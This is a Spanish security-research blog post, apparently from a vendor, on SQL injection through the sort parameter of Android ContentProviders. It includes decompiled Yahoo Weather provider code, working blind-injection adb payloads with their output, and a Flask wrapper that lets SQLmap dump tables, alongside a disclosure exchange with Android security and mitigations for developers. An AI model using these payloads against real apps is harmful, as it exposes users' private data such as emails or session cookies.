Neutron, nuestro motor de IA, obtuvo un 96.75% en el benchmark CyberGym de UC Berkeley. Más información

Seguridad

Seguridad

Android, SQL y ContentProviders, o por qué las inyecciones SQL aún no han muerto

Antes de entrar en las inyecciones SQL y en lo que puede salir mal, empezaremos con algunos datos técnicos sobre los Content Providers...

Antes de entrar en las inyecciones SQL y en lo que puede salir mal, empezaremos con algunos datos técnicos sobre los Content Providers.

I. ContentProvider

Según explica Android Developers, los Content Providers son:

«la interfaz estándar que conecta los datos de un proceso con el código que se ejecuta en otro proceso». (fuente: content-providers.html).

Básicamente, los content providers son una forma estandarizada de exponer y acceder a información concreta de una aplicación. Por ejemplo, si tomamos un caso real, la aplicación Yahoo weather expone los siguientes Content Providers para acceder a la ubicación, la previsión meteorológica, etc. (información extraída del AndroidManifest.xml):

texto alternativo
sql_injection_1

<provider android:authorities="com.yahoo.mobile.client.android.weather.provider.Weather" 
   android:exported="true" 
   android:grantUriPermissions="true" 
   android:label="@7F08017B" 
   android:name="com.yahoo.mobile.client.android.weather.provider.WeatherProvider" 
    android:syncable="true">
</provider>

Los atributos más importantes que se deben revisar desde el punto de vista de la seguridad son 'authorities', 'exported', 'name' y 'permissions'. 'authority' es básicamente el URI para acceder a ese content provider concreto. 'exported' indica si el content provider está expuesto a otras aplicaciones; el comportamiento por defecto cambió a partir de la versión 16 del SDK, ya que antes era true por defecto, por lo que se recomienda encarecidamente indicar de forma explícita si su content provider debe exportarse o no. 'name' indica el nombre de la clase que implementa el ContentProvider.

Si revisamos el código de este Content Provider (descompilado):

package com.yahoo.mobile.client.android.weather.provider;

public class WeatherProvider extends android.content.ContentProvider {
    private static final android.content.UriMatcher a;

    static WeatherProvider()
    {

        com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a = new android.content.UriMatcher(-1);

        com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a.addURI("com.yahoo.mobile.client.android.weather.provider.Weather", com.yahoo.mobile.client.android.weather.provider.WeatherUriMatcher$Locations.a.getPath().substring(1), 1);

        com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a.addURI("com.yahoo.mobile.client.android.weather.provider.Weather", com.yahoo.mobile.client.android.weather.provider.WeatherUriMatcher$Locations.b.getPath().substring(1), 2);

        com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a.addURI("com.yahoo.mobile.client.android.weather.provider.Weather", com.yahoo.mobile.client.android.weather.provider.WeatherUriMatcher$CurrentForecasts.a.getPath().substring(1), 3);

        com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a.addURI("com.yahoo.mobile.client.android.weather.provider.Weather", com.yahoo.mobile.client.android.weather.provider.WeatherUriMatcher$CurrentForecasts.b.getPath().substring(1), 4);

        com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a.addURI("com.yahoo.mobile.client.android.weather.provider.Weather", com.yahoo.mobile.client.android.weather.provider.WeatherUriMatcher$WeatherAlerts.a.getPath().substring(1), 5);

        com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a.addURI("com.yahoo.mobile.client.android.weather.provider.Weather", com.yahoo.mobile.client.android.weather.provider.WeatherUriMatcher$WeatherAlerts.b.getPath().substring(1), 6);

        com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a.addURI("com.yahoo.mobile.client.android.weather.provider.Weather", com.yahoo.mobile.client.android.weather.provider.WeatherUriMatcher$HourlyForecasts.a.getPath().substring(1), 7);

        com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a.addURI("com.yahoo.mobile.client.android.weather.provider.Weather", com.yahoo.mobile.client.android.weather.provider.WeatherUriMatcher$HourlyForecasts.b.getPath().substring(1), 8);

        com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a.addURI("com.yahoo.mobile.client.android.weather.provider.Weather", com.yahoo.mobile.client.android.weather.provider.WeatherUriMatcher$Images.a.getPath().substring(1), 9);

        com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a.addURI("com.yahoo.mobile.client.android.weather.provider.Weather", com.yahoo.mobile.client.android.weather.provider.WeatherUriMatcher$DailyForecasts.a.getPath().substring(1), 10);

        com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a.addURI("com.yahoo.mobile.client.android.weather.provider.Weather", com.yahoo.mobile.client.android.weather.provider.WeatherUriMatcher$DailyForecasts.b.getPath().substring(1), 11);

        return;
    }

    public WeatherProvider()
    {
        return;
    }

    private static int a(android.net.Uri p4, int p5)
    {
        int v1 = -1;
        if (p4 != null) {
            NumberFormatException v0_3;
            NumberFormatException v0_0 = p4.getPathSegments();
            if (com.yahoo.mobile.client.share.util.Util.a(v0_0)) {
                v0_3 = -1;
            } else {
                try {
                    v0_3 = Integer.parseInt(((String) v0_0.get(p5)));
                } catch (NumberFormatException v0_4) {
                    if (com.yahoo.mobile.client.share.logging.Log.a > 6) {
                    } else {
                        com.yahoo.mobile.client.share.logging.Log.d("WeatherProvider", "Unable to parse current forecast woeid: ", v0_4);
                    }
                }
            }
            v1 = v0_3;
        }
        return v1;
    }

    private static String a(android.net.Uri p3)
    {
        String v0_0 = 0;
        if (p3 != null) {
            java.util.List v1 = p3.getPathSegments();
            if (!com.yahoo.mobile.client.share.util.Util.a(v1)) {
                v0_0 = ((String) v1.get(1));

            }
        }
        return v0_0;
    }

    private static int b(android.net.Uri p1)
    {
        return com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a(p1, 2);
    }

    private static int c(android.net.Uri p1)
    {
        return com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a(p1, 2);
    }

    public int delete(android.net.Uri p2, String p3, String[] p4)
    {
        return 0;
    }

    public String getType(android.net.Uri p2)
    {
        return 0;
    }

    public android.net.Uri insert(android.net.Uri p2, android.content.ContentValues p3)
    {
        return 0;
    }

    public boolean onCreate()
    {
        return 0;
    }

    public android.database.Cursor query(android.net.Uri p8, String[] p9, String p10, String[] p11, String p12)
    {
        android.database.Cursor v0_0 = 0;
        if (com.yahoo.mobile.client.share.logging.Log.a <= 2) {
            com.yahoo.mobile.client.share.logging.Log.a("WeatherProvider", new StringBuilder().append("Uri [").append(p8.toString()).append("]").toString());
        }
        try {
            android.content.ContentResolver v1_4 = com.yahoo.mobile.client.android.weathersdk.database.SQLiteWeather.a(this.getContext()).getReadableDatabase();
            switch (com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a.match(p8)) {
                case 1:
                    v0_0 = com.yahoo.mobile.client.android.weathersdk.database.LocationOperations.a(v1_4, p9, p10, p11, p12);

                    if (v0_0 == null) {
                    } else {
                        v0_0.setNotificationUri(this.getContext().getContentResolver(), p8);
                    }
                    break;
                case 2:
                    String v2_12 = com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a(p8);
                    if (com.yahoo.mobile.client.share.util.Util.b(v2_12)) {
                    } else {
                        String[] v3_5 = new String[1];
                        v3_5[0] = v2_12;

                        android.database.Cursor v0_5 = com.yahoo.mobile.client.android.weathersdk.database.SQLiteUtilities.a(p10, "woeid=?", p11, java.util.Arrays.asList(v3_5));

                        v0_0 = com.yahoo.mobile.client.android.weathersdk.database.LocationOperations.a(v1_4, p9, v0_5.a(), v0_5.b(), p12);
                    }
                    break;
                case 3:
                    v0_0 = com.yahoo.mobile.client.android.weathersdk.database.CurrentForecastOperations.b(v1_4);
                    break;
                case 4:
                    v0_0 = com.yahoo.mobile.client.android.weathersdk.database.CurrentForecastOperations.a(v1_4, com.yahoo.mobile.client.android.weather.provider.WeatherProvider.b(p8));
                    break;
                case 5:
                    v0_0 = com.yahoo.mobile.client.android.weathersdk.database.WeatherAlertsOperations.b(v1_4);
                    break;
                case 6:
                    v0_0 = com.yahoo.mobile.client.android.weathersdk.database.WeatherAlertsOperations.c(v1_4, com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a(p8, 2));
                    break;
                case 7:
                    v0_0 = com.yahoo.mobile.client.android.weathersdk.database.HourlyForecastOperations.b(v1_4);
                    break;
                case 8:
                    v0_0 = com.yahoo.mobile.client.android.weathersdk.database.HourlyForecastOperations.a(v1_4, com.yahoo.mobile.client.android.weather.provider.WeatherProvider.c(p8), p8.getBooleanQueryParameter("isCurrentLocation", 0));
                    break;
                case 9:
                default:
                    if (com.yahoo.mobile.client.share.logging.Log.a > 6) {
                    } else {
                        com.yahoo.mobile.client.share.logging.Log.e("WeatherProvider", new StringBuilder().append("Unknown Uri [").append(p8).append("]").toString());

                    }
                    break;
                case 10:
                    v0_0 = com.yahoo.mobile.client.android.weathersdk.database.DailyForecastOperations.b(v1_4);
                    break;
                case 11:
                    v0_0 = com.yahoo.mobile.client.android.weathersdk.database.DailyForecastOperations.a(v1_4, com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a(p8, 2), 0, 0);
                    break;

            }
        } catch (android.content.ContentResolver v1) {
            if (com.yahoo.mobile.client.share.logging.Log.a > 6) {
            } else {
                com.yahoo.mobile.client.share.logging.Log.e("WeatherProvider", "Unable to get a readable database object.");
            }
        }
        return v0_0;
    }

    public int update(android.net.Uri p2, android.content.ContentValues p3, String p4, String[] p5)
    {
        return 0;
    }
}

Los métodos más importantes son 'query', 'update', 'insert' y 'delete'. Estos son los métodos que se exportan a otras aplicaciones. Por ejemplo, para consultar el siguiente content provider desde la línea de comandos, puede usar el siguiente comando de adb shell:

> $ adb shell content query --uri content://com.yahoo.mobile.client.android.weather.provider.Weather/locations/                                                                                                     

Row: 0 _id=19, woeid=12728321, isCurrentLocation=0, latitude=48.92167, longitude=2.24733, photoWoeid=55863456, city=Colombes, state=NULL, stateAbbr=NULL, country=France, countryAbbr=FR, timeZoneId=Europe/Paris, timeZoneAbbr=CET, lastUpdatedTimeMillis=1707326856, crc=0

Row: 1 _id=20, woeid=1539359, isCurrentLocation=0, latitude=34.02088, longitude=-6.84165, photoWoeid=1539359, city=Rabat, state=NULL, stateAbbr=NULL, country=Morocco, countryAbbr=MA, timeZoneId=Africa/Casablanca, timeZoneAbbr=WET, lastUpdatedTimeMillis=1707327048, crc=0

Row: 2 _id=21, woeid=2459115, isCurrentLocation=0, latitude=40.71455, longitude=-74.00712, photoWoeid=2459115, city=New York, state=NULL, stateAbbr=NULL, country=United States, countryAbbr=US, timeZoneId=America/New_York, timeZoneAbbr=EST, lastUpdatedTimeMillis=1707327168, crc=0

Row: 3 _id=22, woeid=2487956, isCurrentLocation=0, latitude=37.7474, longitude=-122.43922, photoWoeid=2487956, city=San Francisco, state=NULL, stateAbbr=NULL, country=United States, countryAbbr=US, timeZoneId=America/Los_Angeles, timeZoneAbbr=PST, lastUpdatedTimeMillis=1707327194, crc=0

Hemos añadido la ruta 'locations' porque el método query compara el URI con una lista de URI predefinidos para elegir de qué tabla consultar. Es un patrón muy habitual en los content providers: se define una lista de URI mediante el método 'addMatch', se asocia cada uno con el código correspondiente y después se consulta la información adecuada, normalmente de la base de datos (consulte content-provider-creating.html. La firma del método query es la siguiente:

public abstract Cursor query (Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder)

Todos los parámetros son accesibles desde la línea de comandos:

usage: adb shell content query --uri <URI> [--user <USER_ID>] [--projection <PROJECTION>] [--where <WHERE>] [--sort <SORT_ORDER>]

  <PROJECTION> is a list of colon separated column names and is formatted:

  <COLUMN_NAME>[:<COLUMN_NAME>...]

  <SORT_OREDER> is the order in which rows in the result should be sorted.

  Example:

  # Select "name" and "value" columns from secure settings where "name" is equal to "new_setting" and sort the result by name in ascending order.

  adb shell content query --uri content://settings/secure --projection name:value --where "name=\'new_setting\'" --sort "name ASC"

Por ejemplo, puede especificar el parámetro 'sort' con el siguiente ejemplo:

> $ adb shell content query --uri content://com.yahoo.mobile.client.android.weather.provider.Weather/locations/ --sort "_id"                                                                                       

Row: 0 _id=19, woeid=12728321, isCurrentLocation=0, latitude=48.92167, longitude=2.24733, photoWoeid=55863456, city=Colombes, state=NULL, stateAbbr=NULL, country=France, countryAbbr=FR, timeZoneId=Europe/Paris, timeZoneAbbr=CET, lastUpdatedTimeMillis=1707326856, crc=0

Row: 1 _id=20, woeid=1539359, isCurrentLocation=0, latitude=34.02088, longitude=-6.84165, photoWoeid=1539359, city=Rabat, state=NULL, stateAbbr=NULL, country=Morocco, countryAbbr=MA, timeZoneId=Africa/Casablanca, timeZoneAbbr=WET, lastUpdatedTimeMillis=1707327048, crc=0

Row: 2 _id=21, woeid=2459115, isCurrentLocation=0, latitude=40.71455, longitude=-74.00712, photoWoeid=2459115, city=New York, state=NULL, stateAbbr=NULL, country=United States, countryAbbr=US, timeZoneId=America/New_York, timeZoneAbbr=EST, lastUpdatedTimeMillis=1707327168, crc=0

Row: 3 _id=22, woeid=2487956, isCurrentLocation=0, latitude=37.7474, longitude=-122.43922, photoWoeid=2487956, city=San Francisco, state=NULL, stateAbbr=NULL, country=United States, countryAbbr=US, timeZoneId=America/Los_Angeles, timeZoneAbbr=PST, lastUpdatedTimeMillis=1707327194, crc=0

Todo esto es estándar y está muy bien documentado.

II. Android y SQL

Últimamente hemos trabajado en la creación de un taint fuzzer para aplicaciones móviles que resuelve automáticamente las restricciones de datos contaminados hasta identificar un método sink explotable. Encontramos varias aplicaciones del top 1000 que presentaban vulnerabilidades de inyección SQL en los parámetros --sort.

Estas aplicaciones parecían implementar correctamente el uso de sentencias preparadas, sin concatenación de cadenas ni ningún tipo de truco sucio. Al examinar el código de estos métodos, encontramos el siguiente patrón común (código fuente del Android Open Source Project):

(com.android.documentsui.RecentsProvider) line 170-171:

152    @Override
153    public Cursor More ...query(Uri uri, String[] projection, String selection, String[] selectionArgs,
154            String sortOrder) {
155        final SQLiteDatabase db = mHelper.getReadableDatabase();
156        switch (sMatcher.match(uri)) {
157            case URI_RECENT:
158                final long cutoff = System.currentTimeMillis() - MAX_HISTORY_IN_MILLIS;
159                return db.query(TABLE_RECENT, projection, RecentColumns.TIMESTAMP + ">" + cutoff,
160                        null, null, null, sortOrder);
161            case URI_STATE:
162                final String authority = uri.getPathSegments().get(1);
163                final String rootId = uri.getPathSegments().get(2);
164                final String documentId = uri.getPathSegments().get(3);
165                return db.query(TABLE_STATE, projection, StateColumns.AUTHORITY + "=? AND "
166                        + StateColumns.ROOT_ID + "=? AND " + StateColumns.DOCUMENT_ID + "=?",
167                        new String[] { authority, rootId, documentId }, null, null, sortOrder);
168            case URI_RESUME:
169                final String packageName = uri.getPathSegments().get(1);
170                return db.query(TABLE_RESUME, projection, ResumeColumns.PACKAGE_NAME + "=?",
171                        new String[] { packageName }, null, null, sortOrder);
172            default:
173                throw new UnsupportedOperationException("Unsupported Uri " + uri);
174        }
175    }

Básicamente, el método pasa el parámetro sort directamente al método query de SQLiteDatabase. Este patrón es muy, muy común, tanto que incluso se encuentra en la aplicación de ejemplo IOSCHED de Google (consulte la aplicación de ejemplo):

    /** {@inheritDoc} */
    @Override
    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
                        String sortOrder) {
        final SQLiteDatabase db = mOpenHelper.getReadableDatabase();

        String tagsFilter = uri.getQueryParameter(Sessions.QUERY_PARAMETER_TAG_FILTER);
        String categories = uri.getQueryParameter(Sessions.QUERY_PARAMETER_CATEGORIES);



        ScheduleUriEnum matchingUriEnum = mUriMatcher.matchUri(uri);

        // Avoid the expensive string concatenation below if not loggable.
        if (Log.isLoggable(TAG, Log.VERBOSE)) {
            Log.v(TAG, "uri=" + uri + " code=" + matchingUriEnum.code + " proj=" +
                    Arrays.toString(projection) + " selection=" + selection + " args="
                    + Arrays.toString(selectionArgs) + ")");
        }

        switch (matchingUriEnum) {
            default: {
                // Most cases are handled with simple SelectionBuilder.
                final SelectionBuilder builder = buildExpandedSelection(uri, matchingUriEnum.code);

                // If a special filter was specified, try to apply it.
                if (!TextUtils.isEmpty(tagsFilter) && !TextUtils.isEmpty(categories)) {
                    addTagsFilter(builder, tagsFilter, categories);
                }

                boolean distinct = ScheduleContractHelper.isQueryDistinct(uri);


                Cursor cursor = builder
                        .where(selection, selectionArgs)
                        .query(db, distinct, projection, sortOrder, null);


                Context context = getContext();
                if (null != context) {
                    cursor.setNotificationUri(context.getContentResolver(), uri);
                }
                return cursor;
            }
            case SEARCH_SUGGEST: {
                final SelectionBuilder builder = new SelectionBuilder();

                // Adjust incoming query to become SQL text match.
                selectionArgs[0] = selectionArgs[0] + "%";
                builder.table(Tables.SEARCH_SUGGEST);
                builder.where(selection, selectionArgs);
                builder.map(SearchManager.SUGGEST_COLUMN_QUERY,
                        SearchManager.SUGGEST_COLUMN_TEXT_1);
                projection = new String[]{
                        BaseColumns._ID,
                        SearchManager.SUGGEST_COLUMN_TEXT_1,
                        SearchManager.SUGGEST_COLUMN_QUERY
                };

                final String limit = uri.getQueryParameter(SearchManager.SUGGEST_PARAMETER_LIMIT);
                return builder.query(db, false, projection, SearchSuggest.DEFAULT_SORT, limit);
            }
            case SEARCH_TOPICS_SESSIONS: {
                if (selectionArgs == null || selectionArgs.length == 0) {
                    return createMergedSearchCursor(null, null);
                }
                String selectionArg = selectionArgs[0] == null ? "" : selectionArgs[0];
                // First we query the Tags table to find any tags that match the given query
                Cursor tags = query(Tags.CONTENT_URI, SearchTopicsSessions.TOPIC_TAG_PROJECTION,
                        SearchTopicsSessions.TOPIC_TAG_SELECTION,
                        new String[] {Config.Tags.CATEGORY_TOPIC, selectionArg + "%"},
                        Tags.TAG_ORDER_BY_CATEGORY);
                // Then we query the sessions_search table and get a list of sessions that match
                // the given keywords.
                Cursor search = null;
                if (selectionArgs[0] != null) { // dont query if there was no selectionArg.
                    search = query(ScheduleContract.Sessions.buildSearchUri(selectionArg),
                            SearchTopicsSessions.SEARCH_SESSIONS_PROJECTION,
                            null, null,
                            ScheduleContract.Sessions.SORT_BY_TYPE_THEN_TIME);
                }
                // Now that we have two cursors, we merge the cursors and return a unified view
                // of the two result sets.
                return createMergedSearchCursor(tags, search);
            }
        }
    }

Si profundizamos un poco en la API, encontramos esto:

Class android.database.sqlite.SQLiteDatabase

1196    public Cursor query(String table, String[] columns, String selection,
1197            String[] selectionArgs, String groupBy, String having,
1198            String orderBy) {
1199
1200        return query(false, table, columns, selection, selectionArgs, groupBy,
1201                having, orderBy, null /* limit */);
1202    }

...

1029    public Cursor query(boolean distinct, String table, String[] columns,
1030            String selection, String[] selectionArgs, String groupBy,
1031            String having, String orderBy, String limit) {
1032        return queryWithFactory(null, distinct, table, columns, selection, selectionArgs,
1033                groupBy, having, orderBy, limit, null);
1034    }

...

1152    public Cursor queryWithFactory(CursorFactory cursorFactory,
1153            boolean distinct, String table, String[] columns,
1154            String selection, String[] selectionArgs, String groupBy,
1155            String having, String orderBy, String limit, CancellationSignal cancellationSignal) {
1156        acquireReference();
1157        try {
1158            String sql = SQLiteQueryBuilder.buildQueryString(
1159                    distinct, table, columns, selection, groupBy, having, orderBy, limit);
1160
1161            return rawQueryWithFactory(cursorFactory, sql, selectionArgs,
1162                    findEditTable(table), cancellationSignal);
1163        } finally {
1164            releaseReference();
1165        }
1166    }



Class android.database.sqlite.SQLiteQueryBuilder

201    public static String buildQueryString(
202            boolean distinct, String tables, String[] columns, String where,
203            String groupBy, String having, String orderBy, String limit) {
204        if (TextUtils.isEmpty(groupBy) && !TextUtils.isEmpty(having)) {
205            throw new IllegalArgumentException(
206                    "HAVING clauses are only permitted when using a groupBy clause");
207        }
208        if (!TextUtils.isEmpty(limit) && !sLimitPattern.matcher(limit).matches()) {
209            throw new IllegalArgumentException("invalid LIMIT clauses:" + limit);
210        }
211
212        StringBuilder query = new StringBuilder(120);
213
214        query.append("SELECT ");
215        if (distinct) {
216            query.append("DISTINCT ");
217        }
218        if (columns != null && columns.length != 0) {
219            appendColumns(query, columns);
220        } else {
221            query.append("* ");
222        }
223        query.append("FROM ");
224        query.append(tables);
225        appendClause(query, " WHERE ", where);
226        appendClause(query, " GROUP BY ", groupBy);
227        appendClause(query, " HAVING ", having);
228        appendClause(query, " ORDER BY ", orderBy);
229        appendClause(query, " LIMIT ", limit);
230
231        return query.toString();
232    }
233
234    private static void appendClause(StringBuilder s, String name, String clause) {
235        if (!TextUtils.isEmpty(clause)) {
236            s.append(name);
237            s.append(clause);
238        }
239    }

Básicamente, el parámetro sort simplemente se pasa de un método a otro y después se concatena (en el método appendClause) a la consulta, lo que da lugar a una inyección SQL muy básica.

Demostrar la explotabilidad es sencillo mediante una técnica de SQLi ciega (dos pruebas, la primera con 1=1 y la segunda con 1=2, muestran comportamientos distintos):

> $ adb shell content query --uri content://com.yahoo.mobile.client.android.weather.provider.Weather/locations/ --sort '_id/**/limit/**/\(select/**/1/**/from/**/sqlite_master/**/where/**/1=1\)'                   
Row: 0 _id=1, woeid=2487956, isCurrentLocation=0, latitude=NULL, longitude=NULL, photoWoeid=NULL, city=NULL, state=NULL, stateAbbr=, country=NULL, countryAbbr=, timeZoneId=NULL, timeZoneAbbr=NULL, lastUpdatedTimeMillis=746034814, crc=1591594725

> $ adb shell content query --uri content://com.yahoo.mobile.client.android.weather.provider.Weather/locations/ --sort '_id/**/limit/**/\(select/**/1/**/from/**/sqlite_master/**/where/**/1=2\)'                   
Error while accessing provider:com.yahoo.mobile.client.android.weather.provider.Weather
android.database.sqlite.SQLiteException: datatype mismatch (code 20)
at android.database.DatabaseUtils.readExceptionFromParcel(DatabaseUtils.java:181)
at android.database.DatabaseUtils.readExceptionFromParcel(DatabaseUtils.java:137)
at android.content.ContentProviderProxy.query(ContentProviderNative.java:366)
at com.android.commands.content.Content$QueryCommand.onExecute(Content.java:392)
at com.android.commands.content.Content$Command.execute(Content.java:336)
at com.android.commands.content.Content.main(Content.java:462)
at com.android.internal.os.RuntimeInit.nativeFinishInit(Native Method)

Para demostrar de verdad la explotabilidad de la SQLi, y como ya disponemos de la magnífica SQLmap, aquí tiene un truco sucio para usar SQLmap sobre el content provider simulando una página web (sabemos que es sucio, pero demuestra lo que queremos):

import subprocess
from flask import Flask, request


app = Flask(__name__)

URI = "com.yahoo.mobile.client.android.weather.provider.Weather/locations/"

@app.route("/")
def hello():

   method = request.values['method']
   sort = request.values['sort']
   sort = "_id/**/limit/**/(SELECT/**/1/**/FROM/**/sqlite_master/**/WHERE/**/1={})".format(sort)
   #sort = "_id/**/limit/**/({})".format(sort)

   p = subprocess.Popen(["adb","shell","content",method,"--uri","content://{}".format(URI),"--sort",'"{}"'.format(sort)],stdout=subprocess.PIPE,stderr=subprocess.STDOUT)

   o, e = p.communicate()

   print "[*]SORT:{}".format(sort)
   print "[*]OUTPUT:{}".format(o)
   return "<html><divclass='output'>{}</div></html>".format(o)

if __name__=="__main__":
   app.run()

Al lanzar SQLmap, se confirma rápidamente la inyección SQL y empieza a volcar las tablas:

texto alternativo
sql_map

Parece haber un bug en SQLmap al adivinar el primer carácter del nombre de la tabla, pero no investigamos más para localizar el origen del problema. Añadir al parámetro sort el valor _id/**/limit/**/(SELECT/**/1/**/FROM/**/sqlite_master/**/WHERE/**/1= fue la forma más sencilla de lograr que SQLmap lo identificara como una inyección basada en booleanos, en lugar de una pesada inyección basada en tiempo.

Volcar la previsión meteorológica de la base de datos no es, por supuesto, algo tan crítico, pero entre las varias aplicaciones que hemos identificado, algunas permiten recuperar información crítica como correos electrónicos o cookies de sesión.

¿Cómo se comportan otras API?

Django ORM lo impide y genera la siguiente excepción:

texto alternativo
django_model

Java JDBC no dispone de una API similar que permita establecer los parámetros Order By, Limit o Group By:

JDBC URL

texto alternativo
jdbc

SQLAlchemy tampoco protege contra esto:

texto alternativo
jdbc

texto alternativo
jdbc

Actualizaremos el blog con el comportamiento de otras API.

III. Intento de reportar el problema

Antes de escribir este artículo, reportamos este problema al equipo de seguridad de Android; esta fue la respuesta que recibimos:

Hola: Gracias por el reporte. He abierto un bug para que el equipo de ingeniería de Android lo revise. El ID del bug se indica en la etiqueta AndroidID. Todavía no hemos clasificado la severidad de este reporte. Les pedimos que lo mantengan confidencial para darnos tiempo a desarrollar una corrección y a notificar la vulnerabilidad en nuestros boletines. Les avisaremos si tenemos alguna pregunta. Asegúrese de haber firmado el acuerdo de licencia de colaborador de Android (https://cla.developers.google.com/clas/new?kind=KIND_INDIVIDUAL) para que podamos utilizar su contribución. Gracias de nuevo. El equipo de seguridad de Android

y después:

Gracias por reportar esto. El equipo de ingeniería lo ha revisado y ha determinado que no es un problema de seguridad. El ataque y los datos que se pueden recuperar ya están fácilmente al alcance del atacante, por lo que la inyección SQL no daría más información de la que el usuario ya tiene a su disposición.

Enviamos una solicitud de aclaración, ya que hemos visto aplicaciones que comparten el acceso a una tabla concreta y almacenan datos sensibles en la misma base de datos:

De acuerdo, gracias por su respuesta. Permítanme satisfacer mi curiosidad, solo quiero asegurarme de que lo entiendo bien: si tengo el siguiente ejemplo, una aplicación de correo que exporta un content provider para acceder a una tabla 'suggestion'. Si puedo aprovechar que puedo inyectar consultas SQL en el parámetro sort y recuperar contenido de la tabla 'emails', que no debería ser accesible, ¿cómo se consideraría eso fácilmente accesible para el atacante?

Lamentablemente, nunca recibimos respuesta.

Tras intercambiar opiniones con desarrolladores y otros investigadores de seguridad, y tras revisar documentación y blogs, la mayoría parece dar por hecho que la API es segura frente a SQLi.

Nuestra opinión es que hay que educar a los desarrolladores sobre el riesgo de la API en la sección de documentación y en los ejemplos de código compartidos, o bien ofrecer una API más segura.

El impacto de explotar esto es, sobre todo, la exposición de información privada a una aplicación maliciosa que ya esté presente en el teléfono, lo cual limita el riesgo, por supuesto. SQLite es conocido por estar sometido a pruebas muy rigurosas y ha sufrido muy pocas vulnerabilidades en el pasado (consulte https://lcamtuf.blogspot.com/2015/04/finding-bugs-in-sqlite-easy-way.html); la presencia de una de ellas podría significar ejecución de código en el contexto de la aplicación vulnerable.

Para los desarrolladores de aplicaciones móviles, estas son las comprobaciones para asegurarse de que su aplicación no sea vulnerable:

  • Revise el uso de la API de SQLite que acepta entradas del usuario (ya sea desde content providers, broadcast receivers, services, activities ...) y que gestiona los parámetros 'limit', 'group by', 'having' y 'sort'
  • Limite el acceso a los content providers con los permisos adecuados (permisos de tipo privilegio Signature y SystemOrSignature) y establezca explícitamente el atributo exported
  • Separar los datos privados de los menos privados en bases de datos distintas limita el impacto de cualquier posible inyección SQL
  • Eche un vistazo a SnappyDB https://github.com/nhachicha/SnappyDB, utilizado por aplicaciones como Uber

Etiquetas:

android, sql injection